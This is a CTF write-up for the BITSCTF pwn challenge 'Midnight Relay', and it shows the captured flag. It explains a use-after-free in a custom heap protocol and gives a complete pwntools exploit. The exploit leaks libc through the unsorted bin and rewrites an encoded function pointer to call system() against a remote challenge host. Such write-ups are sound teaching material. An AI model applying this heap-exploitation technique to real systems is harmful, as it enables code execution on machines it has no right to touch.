←
$ Pwn: Midnight Relay
Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}Executive Summary
The binary implements a custom packet protocol with authenticated operations over heap-backed “shards”. The exploit abuses a use-after-free read/write primitive on shard memory to recover libc pointers from unsorted-bin metadata, then forges the authenticated function pointer state used by the fire (0x66) operation. This redirects execution to system() with attacker-controlled command data.
Binary/Runtime Observations
- ELF64 PIE, NX enabled, Full RELRO, no stack canary.
- Packet format:
op (u8)key (u8)len (u16 little-endian)payload (len bytes)
- The internal rolling
epochstarts at0x6b1d5a93(from.data) and mutates after each accepted opcode. - Packet key is validated by a per-byte rolling transform over payload + current epoch.
Vulnerability Details
- UAF on shard buffers
shred (0x44) calls free(slot[idx].ptr) but keeps the pointer in slot metadata. The slot can later be accessed with:
observe (0x33)=> arbitrary read in freed regiontune (0x22)=> arbitrary write in freed region
- Authenticated indirect call (
fire)
fire (0x66) reconstructs a call target from encoded metadata stored at ptr + size (tail block):
- fields:
q0, q8, ptr_copy, q18 - call target effectively recovered from XOR relation over these values
- if caller passes
sync (0x55)token check,fireperforms indirectcall
Because tune can modify tail metadata, and sync token is derivable from known state, we can repoint fire to system.
Exploitation Strategy
- Forge shard
idx=1with command string payload (cat /app/flag.txt). - Read
idx=1tail metadata (q0, q8, ptr, q18) usingobserve. - Create large chunks (size
0x500) and free non-adjacent chunks into unsorted bin. - Read unsorted-bin
fdpointer from freed chunk via UAF (observe). - Compute libc base:
libc_base = fd - 0x203b20(unsorted-bin main_arena pointer offset for this target libc)system = libc_base + libc.sym['system']
- Overwrite only tail
q8so reconstructed call target becomessystem. - Compute valid
synctoken and sendfire. system("cat /app/flag.txt")runs and prints the flag.
Important Implementation Notes
epochmust start from0x6b1d5a93; starting from zero breaks authentication.- Packets used during unsorted leak are padded (
len=0x500) to avoid allocator side effects consuming the target freed chunk. - Command length in
forgeis limited bytag_len (u8).
Main Program (pwntools exploit)
#!/usr/bin/env python3
from pwn import *
context.log_level = 'info'
HOST = '20.193.149.152'
PORT = 1338
# epoch initial value from binary .data
EPOCH0 = 0x6B1D5A93
# unsorted-bin fd leak offset to libc base on target libc (Ubuntu 24.04)
UNSORTED_MAIN_ARENA_OFF = 0x203B20
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
def calc_key(payload: bytes, epoch: int) -> int:
d = epoch & 0xFFFFFFFF
for b in payload:
a = (d * 8) & 0xFFFFFFFF
d = (d >> 2) & 0xFFFFFFFF
a ^= d
a ^= b
a ^= 0x71
d = a & 0xFFFFFFFF
return d & 0xFF
def send_pkt(io, epoch: int, op: int, payload: bytes, pad_to: int | None = None) -> int:
if pad_to and pad_to > len(payload):
payload = payload + b'A' * (pad_to - len(payload))
key = calc_key(payload, epoch)
io.send(bytes([op, key]) + p16(len(payload)) + payload)
return epoch ^ ((op << 9) | 0x5F)
def forge(io, epoch, idx, size, tag=b'', pad_to=None):
assert len(tag) <= 0xFF
payload = bytes([idx]) + p16(size) + bytes([len(tag)]) + tag
return send_pkt(io, epoch, 0x11, payload, pad_to)
def tune(io, epoch, idx, off, blob, pad_to=None):
payload = bytes([idx]) + p16(off) + p16(len(blob)) + blob
return send_pkt(io, epoch, 0x22, payload, pad_to)
def observe(io, epoch, idx, off, n, pad_to=None):
payload = bytes([idx]) + p16(off) + p16(n)
epoch = send_pkt(io, epoch, 0x33, payload, pad_to)
data = io.recvn(n, timeout=2)
return epoch, data
def shred(io, epoch, idx, pad_to=None):
return send_pkt(io, epoch, 0x44, bytes([idx]), pad_to)
def sync(io, epoch, idx, token, pad_to=None):
payload = bytes([idx]) + p32(token)
return send_pkt(io, epoch, 0x55, payload, pad_to)
def fire(io, epoch, idx, pad_to=None):
return send_pkt(io, epoch, 0x66, bytes([idx]), pad_to)
def main():
io = remote(HOST, PORT)
banner = io.recvline(timeout=2)
log.info(f'banner: {banner!r}')
e = EPOCH0
# 1) Controlled command buffer in shard #1
cmd = b'cat /app/flag.txt'
e = forge(io, e, idx=1, size=0x100, tag=cmd)
# 2) Leak authenticated tail metadata for idx=1
e, meta = observe(io, e, idx=1, off=0x100, n=0x20)
q0 = u64(meta[0:8])
q8 = u64(meta[8:16])
ptr = u64(meta[16:24])
q18 = u64(meta[24:32])
tail = ptr + 0x100
# 3) Unsorted leak setup via UAF
for i in [2, 3, 4]:
e = forge(io, e, idx=i, size=0x500, tag=b'', pad_to=0x500)
# free non-adjacent to avoid immediate coalescing side effects
for i in [2, 4]:
e = shred(io, e, idx=i, pad_to=0x500)
# UAF read of freed idx=2 => unsorted fd/bk
e, leak = observe(io, e, idx=2, off=0, n=16, pad_to=0x500)
fd = u64(leak[:8])
libc_base = fd - UNSORTED_MAIN_ARENA_OFF
system = libc_base + libc.symbols['system']
log.info(f'fd leak = {fd:#x}')
log.info(f'libc base = {libc_base:#x}')
log.info(f'system addr = {system:#x}')
# 4) Rewrite encoded call target by updating only q8
new_q8 = q0 ^ q18 ^ (tail >> 13) ^ system
e = tune(io, e, idx=1, off=0x108, blob=p64(new_q8))
# 5) Compute sync token expected by operation 0x55
token = (e ^ (q0 & 0xFFFFFFFF) ^ (q18 & 0xFFFFFFFF)) & 0xFFFFFFFF
e = sync(io, e, idx=1, token=token)
# 6) Trigger indirect call => system("cat /app/flag.txt")
e = fire(io, e, idx=1)
flag_line = io.recvline(timeout=3)
print(flag_line.decode(errors='ignore').strip())
io.close()
if __name__ == '__main__':
main()Reproduction
- Ensure
pwntoolsis installed. - Run the script above.